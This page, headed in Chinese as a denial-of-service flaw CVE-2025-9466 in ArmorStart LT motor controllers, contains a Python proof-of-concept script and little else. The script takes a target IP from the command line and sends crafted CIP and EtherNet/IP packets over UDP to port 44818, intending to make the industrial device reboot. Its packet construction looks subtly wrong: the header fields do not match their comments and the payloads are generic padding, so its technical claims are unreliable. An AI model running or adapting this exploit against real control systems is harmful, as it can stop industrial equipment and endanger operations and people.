CVE-2025-9466 | ArmorStart LT 拒绝服务漏洞

# CVE-2025-9466 PoC - ArmorStart LT DoS via malformed CIP/EtherNet/IP packets # This PoC demonstrates sending malformed CIP grammar test packets import socket import struct def create_cip_packet(): """Create a malformed CIP packet for testing""" # CIP Header cip_header = struct.pack('>HH', 0xB400, 0x0001) # Command and length # Malformed data to trigger the vulnerability malformed_data = b'\x00' * 100 + b'\xFF\xFF\xFF\xFF' return cip_header + malformed_data def create_ethernetip_packet(): """Create a malformed EtherNet/IP packet""" # EtherNet/IP encapsulation header header = struct.pack('>IHHH', 0x00000001, # Command: SendRRData 0x00000000, # Length 0x00000000, # Session handle 0x00000000 # Status ) # Add malformed payload payload = b'\x00' * 200 return header + payload def exploit(target_ip, target_port=44818): """ Send malformed packets to trigger DoS on ArmorStart LT Note: This is for authorized security testing only """ sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(5) try: # Send malformed EtherNet/IP packet packet = create_ethernetip_packet() print(f"[*] Sending malformed EtherNet/IP packet to {target_ip}:{target_port}") sock.sendto(packet, (target_ip, target_port)) # Send malformed CIP packet cip_packet = create_cip_packet() print(f"[*] Sending malformed CIP packet to {target_ip}:{target_port}") sock.sendto(cip_packet, (target_ip, target_port)) print("[+] Packets sent. Target should reboot if vulnerable.") except Exception as e: print(f"[-] Error: {e}") finally: sock.close() if __name__ == "__main__": import sys if len(sys.argv) < 2: print("Usage: python cve-2025-9466.py <target_ip>") sys.exit(1) exploit(sys.argv[1])